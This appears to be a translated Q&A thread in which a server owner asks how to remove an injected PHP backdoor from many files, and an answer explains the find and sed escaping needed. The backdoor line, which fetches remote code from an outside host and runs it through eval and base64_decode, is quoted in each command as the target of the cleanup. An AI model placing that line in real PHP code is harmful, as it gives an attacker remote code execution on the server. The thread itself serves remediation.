不管我尝试了多少种不同的组合,我似乎都无法让它工作。我试图递归地在文件夹中搜索包含特定字符串的 php 文件,并将其替换为其他内容,但我一定没有正确地对其进行转义:
find . -name "*.php" -print | xargs sed -i "s|<?php $rrr = file_get_contents('http://bihati.cd/sync.php'); eval(base64_decode($rrr));?>|?>|g"
尽管我知道该字符串位于多个文件中,但 Sed 似乎找不到任何东西(不幸的是,我们的服务器似乎已被入侵)。
答案1
我假设您的输入文件如下所示:
<?php $rrr = file_get_contents('http://bihati.cd/sync.php'); eval(base64_decode($rrr));?>
我假设您要执行的替换与所写的完全一致。然后,为了使其工作,唯一需要做的更改是转义美元符号。因此,使用:
find . -name "*.php" -exec sed -i "s|<?php \$rrr = file_get_contents('http://bihati.cd/sync.php'); eval(base64_decode(\$rrr));?>|?>|g" {} \;
更安全的方法是尽可能使用单引号以避免 shell 插值:
find . -name '*.php' -exec sed -i 's|<?php $rrr = file_get_contents('\''http://bihati.cd/sync.php'\''); eval(base64_decode($rrr));?>|?>|g' {} \;
根据我假设的输入,上述操作将产生输出:
?>
xargs
请注意,没有必要使用。的现代版本find
有一个选项,可以完成以前的-exec
大部分功能。xargs
更多的:要查看正在处理的文件sed
,可以向find
命令添加打印语句:
find . -name '*.php' -print -exec sed -i 's|<?php $rrr = file_get_contents('\''http://bihati.cd/sync.php'\''); eval(base64_decode($rrr));?>|?>|g' {} \;
当上述程序运行时,输入的文件的名称sed
将显示在终端(stdout)上。
更多的:sed
要确切查看对文件所做的更改,请保留原始文件的备份:
find . -name '*.php' -exec sed -i.saved 's|<?php $rrr = file_get_contents('\''http://bihati.cd/sync.php'\''); eval(base64_decode($rrr));?>|?>|g' {} \;
在这种情况下,如果sed
处理something.php
,则原始文件将保存在中something.php.saved
。之后,可以通过以下方式检查更改(如果有):
diff something.php.saved something.php